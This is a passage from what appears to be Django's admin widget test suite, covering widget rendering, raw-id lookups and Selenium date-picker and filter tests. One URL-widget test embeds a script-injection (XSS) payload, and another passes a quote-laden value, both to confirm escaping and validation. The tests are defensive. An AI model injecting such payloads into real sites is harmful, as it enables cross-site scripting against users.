            "Wrong widget for %s.%s: expected %s, got %s" % (
                model.__class__.__name__,
                fieldname,
                widgetclass,
                type(widget),
            )
        )

        # Return the formfield so that other tests can continue
        return ff

    def test_DateField(self):
        self.assertFormfield(models.Event, 'start_date', widgets.AdminDateWidget)

    def test_DateTimeField(self):
        self.assertFormfield(models.Member, 'birthdate', widgets.AdminSplitDateTime)

    def test_TimeField(self):
        self.assertFormfield(models.Event, 'start_time', widgets.AdminTimeWidget)

    def test_TextField(self):
        self.assertFormfield(models.Event, 'description', widgets.AdminTextareaWidget)

    def test_URLField(self):
        self.assertFormfield(models.Event, 'link', widgets.AdminURLFieldWidget)

    def test_IntegerField(self):
        self.assertFormfield(models.Event, 'min_age', widgets.AdminIntegerFieldWidget)

    def test_CharField(self):
        self.assertFormfield(models.Member, 'name', widgets.AdminTextInputWidget)

    def test_EmailField(self):
        self.assertFormfield(models.Member, 'email', widgets.AdminEmailInputWidget)

    def test_FileField(self):
        self.assertFormfield(models.Album, 'cover_art', widgets.AdminFileWidget)

    def test_ForeignKey(self):
        self.assertFormfield(models.Event, 'main_band', forms.Select)

    def test_raw_id_ForeignKey(self):
        self.assertFormfield(models.Event, 'main_band', widgets.ForeignKeyRawIdWidget,
                             raw_id_fields=['main_band'])

    def test_radio_fields_ForeignKey(self):
        ff = self.assertFormfield(models.Event, 'main_band', widgets.AdminRadioSelect,
                                  radio_fields={'main_band': admin.VERTICAL})
        self.assertIsNone(ff.empty_label)

    def test_many_to_many(self):
        self.assertFormfield(models.Band, 'members', forms.SelectMultiple)

    def test_raw_id_many_to_many(self):
        self.assertFormfield(models.Band, 'members', widgets.ManyToManyRawIdWidget,
                             raw_id_fields=['members'])

    def test_filtered_many_to_many(self):
        self.assertFormfield(models.Band, 'members', widgets.FilteredSelectMultiple,
                             filter_vertical=['members'])

    def test_formfield_overrides(self):
        self.assertFormfield(models.Event, 'start_date', forms.TextInput,
                             formfield_overrides={DateField: {'widget': forms.TextInput}})

    def test_formfield_overrides_widget_instances(self):
        """
        Test that widget instances in formfield_overrides are not shared between
        different fields. (#19423)
        """
        class BandAdmin(admin.ModelAdmin):
            formfield_overrides = {
                CharField: {'widget': forms.TextInput(attrs={'size': '10'})}
            }
        ma = BandAdmin(models.Band, admin.site)
        f1 = ma.formfield_for_dbfield(models.Band._meta.get_field('name'), request=None)
        f2 = ma.formfield_for_dbfield(models.Band._meta.get_field('style'), request=None)
        self.assertNotEqual(f1.widget, f2.widget)
        self.assertEqual(f1.widget.attrs['maxlength'], '100')
        self.assertEqual(f2.widget.attrs['maxlength'], '20')
        self.assertEqual(f2.widget.attrs['size'], '10')

    def test_formfield_overrides_for_datetime_field(self):
        """
        Overriding the widget for DateTimeField doesn't overrides the default
        form_class for that field (#26449).
        """
        class MemberAdmin(admin.ModelAdmin):
            formfield_overrides = {DateTimeField: {'widget': widgets.AdminSplitDateTime}}
        ma = MemberAdmin(models.Member, admin.site)
        f1 = ma.formfield_for_dbfield(models.Member._meta.get_field('birthdate'), request=None)
        self.assertIsInstance(f1.widget, widgets.AdminSplitDateTime)
        self.assertIsInstance(f1, forms.SplitDateTimeField)

    def test_formfield_overrides_for_custom_field(self):
        """
        formfield_overrides works for a custom field class.
        """
        class AlbumAdmin(admin.ModelAdmin):
            formfield_overrides = {models.MyFileField: {'widget': forms.TextInput()}}
        ma = AlbumAdmin(models.Member, admin.site)
        f1 = ma.formfield_for_dbfield(models.Album._meta.get_field('backside_art'), request=None)
        self.assertIsInstance(f1.widget, forms.TextInput)

    def test_field_with_choices(self):
        self.assertFormfield(models.Member, 'gender', forms.Select)

    def test_choices_with_radio_fields(self):
        self.assertFormfield(models.Member, 'gender', widgets.AdminRadioSelect,
                             radio_fields={'gender': admin.VERTICAL})

    def test_inheritance(self):
        self.assertFormfield(models.Album, 'backside_art', widgets.AdminFileWidget)

    def test_m2m_widgets(self):
        """m2m fields help text as it applies to admin app (#9321)."""
        class AdvisorAdmin(admin.ModelAdmin):
            filter_vertical = ['companies']

        self.assertFormfield(models.Advisor, 'companies', widgets.FilteredSelectMultiple,
                             filter_vertical=['companies'])
        ma = AdvisorAdmin(models.Advisor, admin.site)
        f = ma.formfield_for_dbfield(models.Advisor._meta.get_field('companies'), request=None)
        self.assertEqual(
            six.text_type(f.help_text),
            'Hold down "Control", or "Command" on a Mac, to select more than one.'
        )


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class AdminFormfieldForDBFieldWithRequestTests(TestDataMixin, TestCase):

    def test_filter_choices_by_request_user(self):
        """
        Ensure the user can only see their own cars in the foreign key dropdown.
        """
        self.client.force_login(self.superuser)
        response = self.client.get(reverse('admin:admin_widgets_cartire_add'))
        self.assertNotContains(response, "BMW M3")
        self.assertContains(response, "Volkswagen Passat")


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class AdminForeignKeyWidgetChangeList(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_changelist_ForeignKey(self):
        response = self.client.get(reverse('admin:admin_widgets_car_changelist'))
        self.assertContains(response, '/auth/user/add/')


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class AdminForeignKeyRawIdWidget(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_nonexistent_target_id(self):
        band = models.Band.objects.create(name='Bogey Blues')
        pk = band.pk
        band.delete()
        post_data = {
            "main_band": '%s' % pk,
        }
        # Try posting with a non-existent pk in a raw id field: this
        # should result in an error message, not a server exception.
        response = self.client.post(reverse('admin:admin_widgets_event_add'), post_data)
        self.assertContains(response, 'Select a valid choice. That choice is not one of the available choices.')

    def test_invalid_target_id(self):

        for test_str in ('Iñtërnâtiônàlizætiøn', "1234'", -1234):
            # This should result in an error message, not a server exception.
            response = self.client.post(reverse('admin:admin_widgets_event_add'), {"main_band": test_str})

            self.assertContains(response, 'Select a valid choice. That choice is not one of the available choices.')

    def test_url_params_from_lookup_dict_any_iterable(self):
        lookup1 = widgets.url_params_from_lookup_dict({'color__in': ('red', 'blue')})
        lookup2 = widgets.url_params_from_lookup_dict({'color__in': ['red', 'blue']})
        self.assertEqual(lookup1, {'color__in': 'red,blue'})
        self.assertEqual(lookup1, lookup2)

    def test_url_params_from_lookup_dict_callable(self):
        def my_callable():
            return 'works'
        lookup1 = widgets.url_params_from_lookup_dict({'myfield': my_callable})
        lookup2 = widgets.url_params_from_lookup_dict({'myfield': my_callable()})
        self.assertEqual(lookup1, lookup2)


class FilteredSelectMultipleWidgetTest(SimpleTestCase):
    def test_render(self):
        # Backslash in verbose_name to ensure it is JavaScript escaped.
        w = widgets.FilteredSelectMultiple('test\\', False)
        self.assertHTMLEqual(
            w.render('test', 'test'),
            '<select multiple="multiple" name="test" class="selectfilter" '
            'data-field-name="test\\" data-is-stacked="0">\n</select>'
        )

    def test_stacked_render(self):
        # Backslash in verbose_name to ensure it is JavaScript escaped.
        w = widgets.FilteredSelectMultiple('test\\', True)
        self.assertHTMLEqual(
            w.render('test', 'test'),
            '<select multiple="multiple" name="test" class="selectfilterstacked" '
            'data-field-name="test\\" data-is-stacked="1">\n</select>'
        )


class AdminDateWidgetTest(SimpleTestCase):
    def test_attrs(self):
        """
        Ensure that user-supplied attrs are used.
        Refs #12073.
        """
        w = widgets.AdminDateWidget()
        self.assertHTMLEqual(
            w.render('test', datetime(2007, 12, 1, 9, 30)),
            '<input value="2007-12-01" type="text" class="vDateField" name="test" size="10" />',
        )
        # pass attrs to widget
        w = widgets.AdminDateWidget(attrs={'size': 20, 'class': 'myDateField'})
        self.assertHTMLEqual(
            w.render('test', datetime(2007, 12, 1, 9, 30)),
            '<input value="2007-12-01" type="text" class="myDateField" name="test" size="20" />',
        )


class AdminTimeWidgetTest(SimpleTestCase):
    def test_attrs(self):
        """
        Ensure that user-supplied attrs are used.
        Refs #12073.
        """
        w = widgets.AdminTimeWidget()
        self.assertHTMLEqual(
            w.render('test', datetime(2007, 12, 1, 9, 30)),
            '<input value="09:30:00" type="text" class="vTimeField" name="test" size="8" />',
        )
        # pass attrs to widget
        w = widgets.AdminTimeWidget(attrs={'size': 20, 'class': 'myTimeField'})
        self.assertHTMLEqual(
            w.render('test', datetime(2007, 12, 1, 9, 30)),
            '<input value="09:30:00" type="text" class="myTimeField" name="test" size="20" />',
        )


class AdminSplitDateTimeWidgetTest(SimpleTestCase):
    def test_render(self):
        w = widgets.AdminSplitDateTime()
        self.assertHTMLEqual(
            w.render('test', datetime(2007, 12, 1, 9, 30)),
            '<p class="datetime">'
            'Date: <input value="2007-12-01" type="text" class="vDateField" '
            'name="test_0" size="10" /><br />'
            'Time: <input value="09:30:00" type="text" class="vTimeField" '
            'name="test_1" size="8" /></p>'
        )

    def test_localization(self):
        w = widgets.AdminSplitDateTime()

        with self.settings(USE_L10N=True), translation.override('de-at'):
            w.is_localized = True
            self.assertHTMLEqual(
                w.render('test', datetime(2007, 12, 1, 9, 30)),
                '<p class="datetime">'
                'Datum: <input value="01.12.2007" type="text" '
                'class="vDateField" name="test_0"size="10" /><br />'
                'Zeit: <input value="09:30:00" type="text" class="vTimeField" '
                'name="test_1" size="8" /></p>'
            )


class AdminURLWidgetTest(SimpleTestCase):
    def test_render(self):
        w = widgets.AdminURLFieldWidget()
        self.assertHTMLEqual(
            w.render('test', ''),
            '<input class="vURLField" name="test" type="url" />'
        )
        self.assertHTMLEqual(
            w.render('test', 'http://example.com'),
            '<p class="url">Currently:<a href="http://example.com">'
            'http://example.com</a><br />'
            'Change:<input class="vURLField" name="test" type="url" '
            'value="http://example.com" /></p>'
        )

    def test_render_idn(self):
        w = widgets.AdminURLFieldWidget()
        self.assertHTMLEqual(
            w.render('test', 'http://example-äüö.com'),
            '<p class="url">Currently: <a href="http://xn--example--7za4pnc.com">'
            'http://example-äüö.com</a><br />'
            'Change:<input class="vURLField" name="test" type="url" '
            'value="http://example-äüö.com" /></p>'
        )

    def test_render_quoting(self):
        # WARNING: Don't use assertHTMLEqual in that testcase!
        # assertHTMLEqual will get rid of some escapes which are tested here!
        w = widgets.AdminURLFieldWidget()
        self.assertEqual(
            w.render('test', 'http://example.com/<sometag>some text</sometag>'),
            '<p class="url">Currently: '
            '<a href="http://example.com/%3Csometag%3Esome%20text%3C/sometag%3E">'
            'http://example.com/&lt;sometag&gt;some text&lt;/sometag&gt;</a><br />'
            'Change: <input class="vURLField" name="test" type="url" '
            'value="http://example.com/&lt;sometag&gt;some text&lt;/sometag&gt;" /></p>'
        )
        self.assertEqual(
            w.render('test', 'http://example-äüö.com/<sometag>some text</sometag>'),
            '<p class="url">Currently: '
            '<a href="http://xn--example--7za4pnc.com/%3Csometag%3Esome%20text%3C/sometag%3E">'
            'http://example-äüö.com/&lt;sometag&gt;some text&lt;/sometag&gt;</a><br />'
            'Change: <input class="vURLField" name="test" type="url" '
            'value="http://example-äüö.com/&lt;sometag&gt;some text&lt;/sometag&gt;" /></p>'
        )
        self.assertEqual(
            w.render('test', 'http://www.example.com/%C3%A4"><script>alert("XSS!")</script>"'),
            '<p class="url">Currently: '
            '<a href="http://www.example.com/%C3%A4%22%3E%3Cscript%3Ealert(%22XSS!%22)%3C/script%3E%22">'
            'http://www.example.com/%C3%A4&quot;&gt;&lt;script&gt;'
            'alert(&quot;XSS!&quot;)&lt;/script&gt;&quot;</a><br />'
            'Change: <input class="vURLField" name="test" type="url" '
            'value="http://www.example.com/%C3%A4&quot;&gt;&lt;script&gt;'
            'alert(&quot;XSS!&quot;)&lt;/script&gt;&quot;" /></p>'
        )


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class AdminFileWidgetTests(TestDataMixin, TestCase):

    @classmethod
    def setUpTestData(cls):
        super(AdminFileWidgetTests, cls).setUpTestData()
        band = models.Band.objects.create(name='Linkin Park')
        cls.album = band.album_set.create(
            name='Hybrid Theory', cover_art=r'albums\hybrid_theory.jpg'
        )

    def test_render(self):
        w = widgets.AdminFileWidget()
        self.assertHTMLEqual(
            w.render('test', self.album.cover_art),
            '<p class="file-upload">Currently: <a href="%(STORAGE_URL)salbums/'
            'hybrid_theory.jpg">albums\hybrid_theory.jpg</a> '
            '<span class="clearable-file-input">'
            '<input type="checkbox" name="test-clear" id="test-clear_id" /> '
            '<label for="test-clear_id">Clear</label></span><br />'
            'Change: <input type="file" name="test" /></p>' % {
                'STORAGE_URL': default_storage.url(''),
            },
        )
        self.assertHTMLEqual(
            w.render('test', SimpleUploadedFile('test', b'content')),
            '<input type="file" name="test" />',
        )

    def test_readonly_fields(self):
        """
        File widgets should render as a link when they're marked "read only."
        """
        self.client.force_login(self.superuser)
        response = self.client.get(reverse('admin:admin_widgets_album_change', args=(self.album.id,)))
        self.assertContains(
            response,
            '<p><a href="%(STORAGE_URL)salbums/hybrid_theory.jpg">'
            'albums\hybrid_theory.jpg</a></p>' % {'STORAGE_URL': default_storage.url('')},
            html=True,
        )
        self.assertNotContains(
            response,
            '<input type="file" name="cover_art" id="id_cover_art" />',
            html=True,
        )
        response = self.client.get(reverse('admin:admin_widgets_album_add'))
        self.assertContains(
            response,
            '<p></p>',
            html=True,
        )


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class ForeignKeyRawIdWidgetTest(TestCase):

    def test_render(self):
        band = models.Band.objects.create(name='Linkin Park')
        band.album_set.create(
            name='Hybrid Theory', cover_art=r'albums\hybrid_theory.jpg'
        )
        rel = models.Album._meta.get_field('band').remote_field

        w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('test', band.pk, attrs={}),
            '<input type="text" name="test" value="%(bandpk)s" '
            'class="vForeignKeyRawIdAdminField" />'
            '<a href="/admin_widgets/band/?_to_field=id" class="related-lookup" '
            'id="lookup_id_test" title="Lookup"></a>&nbsp;<strong>'
            '<a href="/admin_widgets/band/%(bandpk)s/change/">Linkin Park</a>'
            '</strong>' % {'bandpk': band.pk}
        )

    def test_relations_to_non_primary_key(self):
        # Check that ForeignKeyRawIdWidget works with fields which aren't
        # related to the model's primary key.
        apple = models.Inventory.objects.create(barcode=86, name='Apple')
        models.Inventory.objects.create(barcode=22, name='Pear')
        core = models.Inventory.objects.create(
            barcode=87, name='Core', parent=apple
        )
        rel = models.Inventory._meta.get_field('parent').remote_field
        w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('test', core.parent_id, attrs={}),
            '<input type="text" name="test" value="86" '
            'class="vForeignKeyRawIdAdminField" />'
            '<a href="/admin_widgets/inventory/?_to_field=barcode" '
            'class="related-lookup" id="lookup_id_test" title="Lookup"></a>'
            '&nbsp;<strong><a href="/admin_widgets/inventory/%(pk)s/change/">'
            'Apple</a></strong>' % {'pk': apple.pk}
        )

    def test_fk_related_model_not_in_admin(self):
        # FK to a model not registered with admin site. Raw ID widget should
        # have no magnifying glass link. See #16542
        big_honeycomb = models.Honeycomb.objects.create(location='Old tree')
        big_honeycomb.bee_set.create()
        rel = models.Bee._meta.get_field('honeycomb').remote_field

        w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('honeycomb_widget', big_honeycomb.pk, attrs={}),
            '<input type="text" name="honeycomb_widget" value="%(hcombpk)s" />'
            '&nbsp;<strong>Honeycomb object</strong>'
            % {'hcombpk': big_honeycomb.pk}
        )

    def test_fk_to_self_model_not_in_admin(self):
        # FK to self, not registered with admin site. Raw ID widget should have
        # no magnifying glass link. See #16542
        subject1 = models.Individual.objects.create(name='Subject #1')
        models.Individual.objects.create(name='Child', parent=subject1)
        rel = models.Individual._meta.get_field('parent').remote_field

        w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('individual_widget', subject1.pk, attrs={}),
            '<input type="text" name="individual_widget" value="%(subj1pk)s" />'
            '&nbsp;<strong>Individual object</strong>'
            % {'subj1pk': subject1.pk}
        )

    def test_proper_manager_for_label_lookup(self):
        # see #9258
        rel = models.Inventory._meta.get_field('parent').remote_field
        w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)

        hidden = models.Inventory.objects.create(
            barcode=93, name='Hidden', hidden=True
        )
        child_of_hidden = models.Inventory.objects.create(
            barcode=94, name='Child of hidden', parent=hidden
        )
        self.assertHTMLEqual(
            w.render('test', child_of_hidden.parent_id, attrs={}),
            '<input type="text" name="test" value="93" class="vForeignKeyRawIdAdminField" />'
            '<a href="/admin_widgets/inventory/?_to_field=barcode" '
            'class="related-lookup" id="lookup_id_test" title="Lookup"></a>'
            '&nbsp;<strong><a href="/admin_widgets/inventory/%(pk)s/change/">'
            'Hidden</a></strong>' % {'pk': hidden.pk}
        )


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class ManyToManyRawIdWidgetTest(TestCase):

    def test_render(self):
        band = models.Band.objects.create(name='Linkin Park')

        m1 = models.Member.objects.create(name='Chester')
        m2 = models.Member.objects.create(name='Mike')
        band.members.add(m1, m2)
        rel = models.Band._meta.get_field('members').remote_field

        w = widgets.ManyToManyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('test', [m1.pk, m2.pk], attrs={}), (
                '<input type="text" name="test" value="%(m1pk)s,%(m2pk)s" class="vManyToManyRawIdAdminField" />'
                '<a href="/admin_widgets/member/" class="related-lookup" id="lookup_id_test" title="Lookup"></a>'
            ) % dict(m1pk=m1.pk, m2pk=m2.pk)
        )

        self.assertHTMLEqual(
            w.render('test', [m1.pk]), (
                '<input type="text" name="test" value="%(m1pk)s" class="vManyToManyRawIdAdminField">'
                '<a href="/admin_widgets/member/" class="related-lookup" id="lookup_id_test" title="Lookup"></a>'
            ) % dict(m1pk=m1.pk)
        )

    def test_m2m_related_model_not_in_admin(self):
        # M2M relationship with model not registered with admin site. Raw ID
        # widget should have no magnifying glass link. See #16542
        consultor1 = models.Advisor.objects.create(name='Rockstar Techie')

        c1 = models.Company.objects.create(name='Doodle')
        c2 = models.Company.objects.create(name='Pear')
        consultor1.companies.add(c1, c2)
        rel = models.Advisor._meta.get_field('companies').remote_field

        w = widgets.ManyToManyRawIdWidget(rel, widget_admin_site)
        self.assertHTMLEqual(
            w.render('company_widget1', [c1.pk, c2.pk], attrs={}),
            '<input type="text" name="company_widget1" value="%(c1pk)s,%(c2pk)s" />' % {'c1pk': c1.pk, 'c2pk': c2.pk}
        )

        self.assertHTMLEqual(
            w.render('company_widget2', [c1.pk]),
            '<input type="text" name="company_widget2" value="%(c1pk)s" />' % {'c1pk': c1.pk}
        )


class RelatedFieldWidgetWrapperTests(SimpleTestCase):
    def test_no_can_add_related(self):
        rel = models.Individual._meta.get_field('parent').remote_field
        w = widgets.AdminRadioSelect()
        # Used to fail with a name error.
        w = widgets.RelatedFieldWidgetWrapper(w, rel, widget_admin_site)
        self.assertFalse(w.can_add_related)

    def test_select_multiple_widget_cant_change_delete_related(self):
        rel = models.Individual._meta.get_field('parent').remote_field
        widget = forms.SelectMultiple()
        wrapper = widgets.RelatedFieldWidgetWrapper(
            widget, rel, widget_admin_site,
            can_add_related=True,
            can_change_related=True,
            can_delete_related=True,
        )
        self.assertTrue(wrapper.can_add_related)
        self.assertFalse(wrapper.can_change_related)
        self.assertFalse(wrapper.can_delete_related)

    def test_on_delete_cascade_rel_cant_delete_related(self):
        rel = models.Individual._meta.get_field('soulmate').remote_field
        widget = forms.Select()
        wrapper = widgets.RelatedFieldWidgetWrapper(
            widget, rel, widget_admin_site,
            can_add_related=True,
            can_change_related=True,
            can_delete_related=True,
        )
        self.assertTrue(wrapper.can_add_related)
        self.assertTrue(wrapper.can_change_related)
        self.assertFalse(wrapper.can_delete_related)


@override_settings(ROOT_URLCONF='admin_widgets.urls')
class AdminWidgetSeleniumTestCase(AdminSeleniumTestCase):

    available_apps = ['admin_widgets'] + AdminSeleniumTestCase.available_apps

    def setUp(self):
        self.u1 = User.objects.create_superuser(username='super', password='secret', email='super@example.com')


class DateTimePickerSeleniumTests(AdminWidgetSeleniumTestCase):

    def test_show_hide_date_time_picker_widgets(self):
        """
        Ensure that pressing the ESC key closes the date and time picker
        widgets.
        Refs #17064.
        """
        from selenium.webdriver.common.keys import Keys

        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # First, with the date picker widget ---------------------------------
        # Check that the date picker is hidden
        self.assertEqual(self.get_css_value('#calendarbox0', 'display'), 'none')
        # Click the calendar icon
        self.selenium.find_element_by_id('calendarlink0').click()
        # Check that the date picker is visible
        self.assertEqual(self.get_css_value('#calendarbox0', 'display'), 'block')
        # Press the ESC key
        self.selenium.find_element_by_tag_name('body').send_keys([Keys.ESCAPE])
        # Check that the date picker is hidden again
        self.assertEqual(self.get_css_value('#calendarbox0', 'display'), 'none')

        # Then, with the time picker widget ----------------------------------
        # Check that the time picker is hidden
        self.assertEqual(self.get_css_value('#clockbox0', 'display'), 'none')
        # Click the time icon
        self.selenium.find_element_by_id('clocklink0').click()
        # Check that the time picker is visible
        self.assertEqual(self.get_css_value('#clockbox0', 'display'), 'block')
        self.assertEqual(
            [
                x.text for x in
                self.selenium.find_elements_by_xpath("//ul[@class='timelist']/li/a")
            ],
            ['Now', 'Midnight', '6 a.m.', 'Noon', '6 p.m.']
        )
        # Press the ESC key
        self.selenium.find_element_by_tag_name('body').send_keys([Keys.ESCAPE])
        # Check that the time picker is hidden again
        self.assertEqual(self.get_css_value('#clockbox0', 'display'), 'none')

    def test_calendar_nonday_class(self):
        """
        Ensure cells that are not days of the month have the `nonday` CSS class.
        Refs #4574.
        """
        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # fill in the birth date.
        self.selenium.find_element_by_id('id_birthdate_0').send_keys('2013-06-01')

        # Click the calendar icon
        self.selenium.find_element_by_id('calendarlink0').click()

        # get all the tds within the calendar
        calendar0 = self.selenium.find_element_by_id('calendarin0')
        tds = calendar0.find_elements_by_tag_name('td')

        # make sure the first and last 6 cells have class nonday
        for td in tds[:6] + tds[-6:]:
            self.assertEqual(td.get_attribute('class'), 'nonday')

    def test_calendar_selected_class(self):
        """
        Ensure cell for the day in the input has the `selected` CSS class.
        Refs #4574.
        """
        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # fill in the birth date.
        self.selenium.find_element_by_id('id_birthdate_0').send_keys('2013-06-01')

        # Click the calendar icon
        self.selenium.find_element_by_id('calendarlink0').click()

        # get all the tds within the calendar
        calendar0 = self.selenium.find_element_by_id('calendarin0')
        tds = calendar0.find_elements_by_tag_name('td')

        # verify the selected cell
        selected = tds[6]
        self.assertEqual(selected.get_attribute('class'), 'selected')

        self.assertEqual(selected.text, '1')

    def test_calendar_no_selected_class(self):
        """
        Ensure no cells are given the selected class when the field is empty.
        Refs #4574.
        """
        self.admin_login(username='super', password='secret', login_url='/')
        # Open a page that has a date and time picker widgets
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        # Click the calendar icon
        self.selenium.find_element_by_id('calendarlink0').click()

        # get all the tds within the calendar
        calendar0 = self.selenium.find_element_by_id('calendarin0')
        tds = calendar0.find_elements_by_tag_name('td')

        # verify there are no cells with the selected class
        selected = [td for td in tds if td.get_attribute('class') == 'selected']

        self.assertEqual(len(selected), 0)

    def test_calendar_show_date_from_input(self):
        """
        Ensure that the calendar show the date from the input field for every
        locale supported by django.
        """
        self.admin_login(username='super', password='secret', login_url='/')

        # Enter test data
        member = models.Member.objects.create(name='Bob', birthdate=datetime(1984, 5, 15), gender='M')

        # Get month name translations for every locale
        month_string = 'May'
        path = os.path.join(os.path.dirname(import_module('django.contrib.admin').__file__), 'locale')
        for language_code, language_name in settings.LANGUAGES:
            try:
                catalog = gettext.translation('djangojs', path, [language_code])
            except IOError:
                continue
            if month_string in catalog._catalog:
                month_name = catalog._catalog[month_string]
            else:
                month_name = month_string

            # Get the expected caption
            may_translation = month_name
            expected_caption = '{0:s} {1:d}'.format(may_translation.upper(), 1984)

            # Test with every locale
            with override_settings(LANGUAGE_CODE=language_code, USE_L10N=True):

                # Open a page that has a date picker widget
                url = reverse('admin:admin_widgets_member_change', args=(member.pk,))
                self.selenium.get(self.live_server_url + url)
                # Click on the calendar icon
                self.selenium.find_element_by_id('calendarlink0').click()
                # Make sure that the right month and year are displayed
                self.wait_for_text('#calendarin0 caption', expected_caption)


@skipIf(pytz is None, "this test requires pytz")
@override_settings(TIME_ZONE='Asia/Singapore')
class DateTimePickerShortcutsSeleniumTests(AdminWidgetSeleniumTestCase):

    def test_date_time_picker_shortcuts(self):
        """
        Ensure that date/time/datetime picker shortcuts work in the current time zone.
        Refs #20663.

        This test case is fairly tricky, it relies on selenium still running the browser
        in the default time zone "America/Chicago" despite `override_settings` changing
        the time zone to "Asia/Singapore".
        """
        self.admin_login(username='super', password='secret', login_url='/')

        error_margin = timedelta(seconds=10)

        # If we are neighbouring a DST, we add an hour of error margin.
        tz = pytz.timezone('America/Chicago')
        utc_now = datetime.now(pytz.utc)
        tz_yesterday = (utc_now - timedelta(days=1)).astimezone(tz).tzname()
        tz_tomorrow = (utc_now + timedelta(days=1)).astimezone(tz).tzname()
        if tz_yesterday != tz_tomorrow:
            error_margin += timedelta(hours=1)

        now = datetime.now()

        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_member_add'))

        self.selenium.find_element_by_id('id_name').send_keys('test')

        # Click on the "today" and "now" shortcuts.
        shortcuts = self.selenium.find_elements_by_css_selector('.field-birthdate .datetimeshortcuts')

        for shortcut in shortcuts:
            shortcut.find_element_by_tag_name('a').click()

        # Check that there is a time zone mismatch warning.
        # Warning: This would effectively fail if the TIME_ZONE defined in the
        # settings has the same UTC offset as "Asia/Singapore" because the
        # mismatch warning would be rightfully missing from the page.
        self.selenium.find_elements_by_css_selector('.field-birthdate .timezonewarning')

        # Submit the form.
        self.selenium.find_element_by_tag_name('form').submit()
        self.wait_page_loaded()

        # Make sure that "now" in javascript is within 10 seconds
        # from "now" on the server side.
        member = models.Member.objects.get(name='test')
        self.assertGreater(member.birthdate, now - error_margin)
        self.assertLess(member.birthdate, now + error_margin)


# The above tests run with Asia/Singapore which are on the positive side of
# UTC. Here we test with a timezone on the negative side.
@override_settings(TIME_ZONE='US/Eastern')
class DateTimePickerAltTimezoneSeleniumTests(DateTimePickerShortcutsSeleniumTests):
    pass


class HorizontalVerticalFilterSeleniumTests(AdminWidgetSeleniumTestCase):

    def setUp(self):
        super(HorizontalVerticalFilterSeleniumTests, self).setUp()
        self.lisa = models.Student.objects.create(name='Lisa')
        self.john = models.Student.objects.create(name='John')
        self.bob = models.Student.objects.create(name='Bob')
        self.peter = models.Student.objects.create(name='Peter')
        self.jenny = models.Student.objects.create(name='Jenny')
        self.jason = models.Student.objects.create(name='Jason')
        self.cliff = models.Student.objects.create(name='Cliff')
        self.arthur = models.Student.objects.create(name='Arthur')
        self.school = models.School.objects.create(name='School of Awesome')

    def assertActiveButtons(self, mode, field_name, choose, remove, choose_all=None, remove_all=None):
        choose_link = '#id_%s_add_link' % field_name
        choose_all_link = '#id_%s_add_all_link' % field_name
        remove_link = '#id_%s_remove_link' % field_name
        remove_all_link = '#id_%s_remove_all_link' % field_name
        self.assertEqual(self.has_css_class(choose_link, 'active'), choose)
        self.assertEqual(self.has_css_class(remove_link, 'active'), remove)
        if mode == 'horizontal':
            self.assertEqual(self.has_css_class(choose_all_link, 'active'), choose_all)
            self.assertEqual(self.has_css_class(remove_all_link, 'active'), remove_all)

    def execute_basic_operations(self, mode, field_name):
        original_url = self.selenium.current_url

        from_box = '#id_%s_from' % field_name
        to_box = '#id_%s_to' % field_name
        choose_link = 'id_%s_add_link' % field_name
        choose_all_link = 'id_%s_add_all_link' % field_name
        remove_link = 'id_%s_remove_link' % field_name
        remove_all_link = 'id_%s_remove_all_link' % field_name

        # Initial positions ---------------------------------------------------
        self.assertSelectOptions(from_box, [
            str(self.arthur.id), str(self.bob.id),
            str(self.cliff.id), str(self.jason.id),
            str(self.jenny.id), str(self.john.id),
        ])
        self.assertSelectOptions(to_box, [str(self.lisa.id), str(self.peter.id)])
        self.assertActiveButtons(mode, field_name, False, False, True, True)

        # Click 'Choose all' --------------------------------------------------
        if mode == 'horizontal':
            self.selenium.find_element_by_id(choose_all_link).click()
        elif mode == 'vertical':
            # There 's no 'Choose all' button in vertical mode, so individually
            # select all options and click 'Choose'.
            for option in self.selenium.find_elements_by_css_selector(from_box + ' > option'):
                option.click()
            self.selenium.find_element_by_id(choose_link).click()
        self.assertSelectOptions(from_box, [])
        self.assertSelectOptions(to_box, [
            str(self.lisa.id), str(self.peter.id),
            str(self.arthur.id), str(self.bob.id),
            str(self.cliff.id), str(self.jason.id),
            str(self.jenny.id), str(self.john.id),
        ])
        self.assertActiveButtons(mode, field_name, False, False, False, True)

        # Click 'Remove all' --------------------------------------------------
        if mode == 'horizontal':
            self.selenium.find_element_by_id(remove_all_link).click()
        elif mode == 'vertical':
            # There 's no 'Remove all' button in vertical mode, so individually
            # select all options and click 'Remove'.
            for option in self.selenium.find_elements_by_css_selector(to_box + ' > option'):
                option.click()
            self.selenium.find_element_by_id(remove_link).click()
        self.assertSelectOptions(from_box, [
            str(self.lisa.id), str(self.peter.id),
            str(self.arthur.id), str(self.bob.id),
            str(self.cliff.id), str(self.jason.id),
            str(self.jenny.id), str(self.john.id),
        ])
        self.assertSelectOptions(to_box, [])
        self.assertActiveButtons(mode, field_name, False, False, True, False)

        # Choose some options ------------------------------------------------
        from_lisa_select_option = self.get_select_option(from_box, str(self.lisa.id))

